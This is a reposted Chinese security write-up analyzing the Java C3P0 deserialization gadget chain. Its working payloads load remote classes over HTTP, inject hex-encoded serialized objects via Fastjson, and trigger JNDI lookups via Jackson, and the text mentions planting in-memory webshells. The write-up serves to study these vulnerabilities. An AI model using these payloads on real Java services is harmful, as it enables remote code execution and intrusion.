iis服务器助手广告广告
返回顶部
首页 > 资讯 > 精选 >Java C3P0链怎么用
  • 483
分享到

Java C3P0链怎么用

2023-06-29 01:06:06 483人浏览 薄情痞子
摘要

这篇“Java C3P0链怎么用”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读完这篇文章能有所收获,下面我们一起来看看这篇“Java C3P0链怎么用”文章吧。0

这篇“Java C3P0链怎么用”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读完这篇文章能有所收获,下面我们一起来看看这篇“Java C3P0链怎么用”文章吧。

    0x00 前言

    在一些比较极端情况下,C3P0链的使用还是挺频繁的。

    0x01 利用方式

    利用方式

    在C3P0中有三种利用方式

    • Http base

    • JNDI

    • HEX序列化字节加载器

    在原生的反序列化中如果找不到其他链,则可尝试C3P0去加载远程的类进行命令执行。JNDI则适用于Jackson等利用。而HEX序列化字节加载器的方式可以利用与fj和Jackson等不出网情况下打入内存马使用。

    http base使用

    使用也很简单,可以直接使用yso生成数据进行发送到服务端,然后加载到指定的远程类。

    public class test1 {    public static void main(String[] args) throws Exception {        C3P0 c3P0 = new C3P0();        Object object = c3P0.getObject("http://127.0.0.1:80/:exp");        byte[] serialize = Serializer.serialize(object);        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize);        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);        Object o = objectInputStream.readObject();    }}

    Java C3P0链怎么用

    0x02 C3P0分析

    构造分析

    public Object getObject ( String command ) throws Exception {        int sep = command.lastIndexOf(':');        if ( sep < 0 ) {            throw new IllegalArgumentException("Command fORMat is: <base_url>:<classname>");        }        String url = command.substring(0, sep);        String className = command.substring(sep + 1);        PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);        Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));        return b;    }    private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {        private String className;        private String url;        public PoolSource ( String className, String url ) {            this.className = className;            this.url = url;        }        public Reference getReference () throws NamingException {            return new Reference("exploit", this.className, this.url);        }       ......    }

    代码比较简单,反射创建了一个PoolBackedDataSource实例对象,然后反射将connectionPoolDataSource的值设置为PoolSource类的实例,传递classNameurl参数。即我们传入的远程地址和类名。

    在序列化的时候会去调用我们的com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject

    Java C3P0链怎么用

    这行代码走到了catch代码块里面,因为我们传入的this.connectionPoolDataSourcePoolSource类是不可被序列化的。

    继续走到下面代码来看。

    Java C3P0链怎么用

     public IndirectlySerialized indirectForm(Object var1) throws Exception {        Reference var2 = ((Referenceable)var1).getReference();        return new ReferenceIndirector.ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);    }

    调用我们传递的this.connectionPoolDataSourcegetReference();方法。来获取到一个Reference这也是前面为我们要重写这个方法的原因。

    实例ReferenceIndirector.ReferenceSerialized将刚刚获取的Reference传递进去。

    Java C3P0链怎么用

    Java C3P0链怎么用

    利用分析

    反序列化入口为com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject

    Java C3P0链怎么用

    调用readObject内部会调用ReferenceIndirector.getObject()

    Java C3P0链怎么用

    Java C3P0链怎么用

    Java C3P0链怎么用

    Class.forName ,如果可以控制forName⽅法的第⼀个和第三个参数,并且第⼆个参数为 true,那么就可以利⽤BCEL, ClassLoader实现任意代码加载执⾏ 。

    把代码抠出来测试一下

    ClassLoader var6 = Thread.currentThread().getContextClassLoader();        URL var8 = new URL("http://127.0.0.1:80");        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{var8}, var6);        Class var12 = Class.forName("exp", true, urlClassLoader);

    Java C3P0链怎么用

    跟踪了一下forName0native修饰的内部使用C/C++实现无法进行查看。

    来看到官方的讲解。

    Returns the Class object associated with the class or interface with the given string name, using the given class loader. Given the fully qualified name for a class or interface (in the same format returned by getName) this method attempts to locate, load, and link the class or interface. The specified class loader is used to load the class or interface. If the parameter loader is null, the class is loaded through the bootstrap class loader. The class is initialized only if the initialize parameter is true and if it has not been initialized earlier.

    翻译大概的意思就是返回一个给定类或者接口的一个 Class 对象,如果没有给定 classloader, 那么会使用根类加载器。如果initalize这个参数传了 true,那么给定的类如果之前没有被初始化过,那么会被初始化。

    也就是说我们的exp会被初始化,执行我们static代码块中的恶意代码。

    官方说明

    HEX序列化字节加载器

    {"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex编码内容;"}}

    在fj反序列化userOverridesAsString调用settingsetter传入以HexAsciiSerializedMap开头的字符串进行解码并触发原生反序列化。

    Java C3P0链怎么用

    来看到调用流程。下面调用到这里

     this.vcs.fireVetoableChange("userOverridesAsString", oldVal, userOverridesAsString);

    一路跟踪来到com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString

     public static Map parseUserOverridesAsString(String userOverridesAsString) throws IOException, ClassNotFoundException {        if (userOverridesAsString != null) {            String hexAscii = userOverridesAsString.substring("HexAsciiSerializedMap".length() + 1, userOverridesAsString.length() - 1);            byte[] serBytes = ByteUtils.fromHexAscii(hexAscii);            return Collections.unmodifiableMap((Map)SerializableUtils.fromByteArray(serBytes));        } else {            return Collections.EMPTY_MAP;        }    }

    HexAsciiSerializedMap中内容提取出来进行反序列化

    Java C3P0链怎么用

    JNDI利用

     public static void main(String[] args) throws IOException, JSONProcessingException {        String poc = "{\"object\":[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",{\"jndiName\":\"rmi://localhost:8088/Exploit\", \"loginTimeout\":0}]}";        System.out.println(poc);        ObjectMapper objectMapper = new ObjectMapper();        objectMapper.enableDefaultTyping();        objectMapper.readValue(poc, Person.class);    }

    jackson和fastjson特性一样会调用setter,这里利用的是JndiRefDataSourceBase中的setjndiName

    以上就是关于“Java C3P0链怎么用”这篇文章的内容,相信大家都有了一定的了解,希望小编分享的内容对大家有帮助,若想了解更多相关的知识内容,请关注编程网精选频道。

    --结束END--

    本文标题: Java C3P0链怎么用

    本文链接: https://www.lsjlt.com/news/321694.html(转载时请注明来源链接)

    有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

    本篇文章演示代码以及资料文档资料下载

    下载Word文档到电脑,方便收藏和打印~

    下载Word文档
    猜你喜欢
    • Java C3P0链怎么用
      这篇“Java C3P0链怎么用”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读完这篇文章能有所收获,下面我们一起来看看这篇“Java C3P0链怎么用”文章吧。0 ...
      99+
      2023-06-29
    • 浅谈Java安全之C3P0链利用与分析
      目录0x00 前言0x01 利用方式利用方式http base使用0x02 C3P0分析构造分析利用分析HEX序列化字节加载器JNDI利用0x...
      99+
      2024-04-02
    • 浅谈Java安全之C3P0的使用
      写在前面 很久以前就听nice0e3师傅说打Fastjson可以试试C3P0,当时还不会java(虽然现在也没会多少)也就没有深究。最近调试Fastjson的漏洞,又想到了这个点,就...
      99+
      2024-04-02
    • JAVA中怎么实现链表和双向链表
      这篇文章给大家介绍JAVA中怎么实现链表和双向链表,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。JAVA基础:语言中链表和双向链表的实现(转)[@more@]链表是一种重要的数据结构,在程序设计中占有很重要的地位。C语...
      99+
      2023-06-03
    • 利用java怎么实现一个单链表
      本文章向大家介绍利用java怎么实现一个单链表的基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。Java的特点有哪些Java的特点有哪些1.Java语言作为静态面向对象编程语言的代表,实现了面向对象理论,允许程序员...
      99+
      2023-06-06
    • 怎么用java代码实现双向链表
      这篇文章主要介绍“怎么用java代码实现双向链表”,在日常操作中,相信很多人在怎么用java代码实现双向链表问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”怎么用java代码实现双向链表”的疑惑有所帮助!接下来...
      99+
      2023-06-30
    • c3p0数据库连接池如何在Java项目中使用
      今天就跟大家聊聊有关c3p0数据库连接池如何在Java项目中使用,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。c3p0是什么c3p0的出现,是为了大大提高应用程序和数据库之间访问效率...
      99+
      2023-05-31
      java 数据库连接池 c3p0
    • Java反转链表怎么测试
      本篇内容主要讲解“Java反转链表怎么测试”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“Java反转链表怎么测试”吧!链表特点便于增删数据,不便于寻址在内存中属于跳转结构单链表和双链表的定义单链...
      99+
      2023-07-06
    • Java有序链表怎么合并
      这篇文章主要介绍了Java有序链表怎么合并的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇Java有序链表怎么合并文章都会有所收获,下面我们一起来看看吧。问题将两个升序链表合并为一个新的升序链表并返回。新链表是通...
      99+
      2023-07-06
    • java双向链表怎么实现
      Java中的双向链表可以通过定义一个Node类来实现,该类包含一个值和两个指针,分别指向前一个节点和后一个节点。具体实现如下: pu...
      99+
      2023-10-22
      java
    • 利用Java怎么合并递增排序链表
      这期内容当中小编将会给大家带来有关利用Java怎么合并递增排序链表,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。题目描述输入两个单调递增的链表,输出两个链表合成后的链表,当然我们需要合成后的链表满足单调不...
      99+
      2023-05-31
      java ava
    • Java编程内功之怎么使用单链表
      这篇文章将为大家详细讲解有关Java编程内功之怎么使用单链表,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。 基本介绍链表是有序的列表,但是它在内存中存储如下鸿蒙官方战略合作共建——...
      99+
      2023-06-15
    • 利用Java怎么实现一个反转链表
      今天就跟大家聊聊有关利用Java怎么实现一个反转链表,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。定义一个函数,输入一个链表的头结点,反转该链表并输出反转后的链表的头结点。链表结点如...
      99+
      2023-05-31
      java ava
    • java责任链模式怎么实现
      Java中实现责任链模式可以使用以下步骤: 定义一个抽象的处理器(Handler)类,该类包含一个指向下一个处理器的引用和一个处理...
      99+
      2024-02-29
      java
    • java怎么实现单链表反转
      要实现单链表的反转,可以使用迭代或递归两种方法。 迭代法: public ListNode reverseList(ListNo...
      99+
      2023-10-26
      java
    • Java职责链模式怎么实现
      本篇内容主要讲解“Java职责链模式怎么实现”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“Java职责链模式怎么实现”吧!一、职责链模式的定义与特点定义:为了避免请求发送者与多个请求处理者耦合在...
      99+
      2023-06-22
    • 利用java怎么与web服务器进行链接
      本篇文章给大家分享的是有关利用java怎么与web服务器进行链接,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。java 与web服务器链接使用net.Socket类sock.g...
      99+
      2023-05-31
      java web服务器 ava
    • 教你怎么用Java数组和链表实现栈
      目录一、何为栈?二、用数组实现栈三、链表实现栈四、测试一、何为栈? 栈(stack)又名堆栈,它是一种运算受限的线性表。限定仅在表尾进行插入和删除操作的线性表。这一端被称为栈顶,相对...
      99+
      2024-04-02
    • Java​逆转单向链表怎么实现
      这篇文章主要讲解了“Java逆转单向链表怎么实现”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“Java逆转单向链表怎么实现”吧!首先这是一个单向的链表,不同于 Java 里面的 Linked...
      99+
      2023-06-04
    • java开源区块链jdchain怎么部署
      今天小编给大家分享一下java开源区块链jdchain怎么部署的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。前言jdchai...
      99+
      2023-06-29
    软考高级职称资格查询
    编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
    • 官方手机版

    • 微信公众号

    • 商务合作